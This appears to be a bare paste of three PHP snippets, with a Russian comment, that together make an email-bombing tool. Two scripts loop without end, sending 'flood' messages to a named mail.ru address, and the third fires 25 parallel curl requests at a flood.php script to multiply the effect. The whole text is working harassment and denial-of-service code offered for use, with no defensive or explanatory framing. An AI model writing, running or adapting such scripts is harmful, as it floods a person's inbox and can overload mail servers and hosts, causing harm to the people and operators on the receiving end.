set_time_limit(15);
while(true)
    mail('elli@mail.ru', 'Месседж', 'Flllooooooooodddd!!!!!!!!!');

<?php
set_time_limit(0);

while (true)
    mail('elli@mail.ru', 'The flood', 'Flooooood');

<?php
$url = 'http://host/flood.php';
$threadsCnt = 25; // значение подобрать по своему вкусу

$cmh = curl_multi_init();

for ($i = 0; $i < $threadsCnt; ++ $i) {
    $chs[] = curl_init($url);
    curl_multi_add_handle($cmh, $chs[$i]);
}

$active = null;

do {
    $cmr = curl_multi_exec($cmh, $active);
} while ($cmr == CURLM_CALL_MULTI_PERFORM);

while ($active && $cmr == CURLM_OK) {
    if (curl_multi_select($cmh) != -1) {
        do {
            $cmr = curl_multi_exec($cmh, $active);
        } while ($cmr == CURLM_CALL_MULTI_PERFORM);
    }
}

for ($i = 0; $i < $threadsCnt; ++ $i)
    curl_multi_remove_handle($cmh, $chs[$i]);

curl_multi_close($cmh);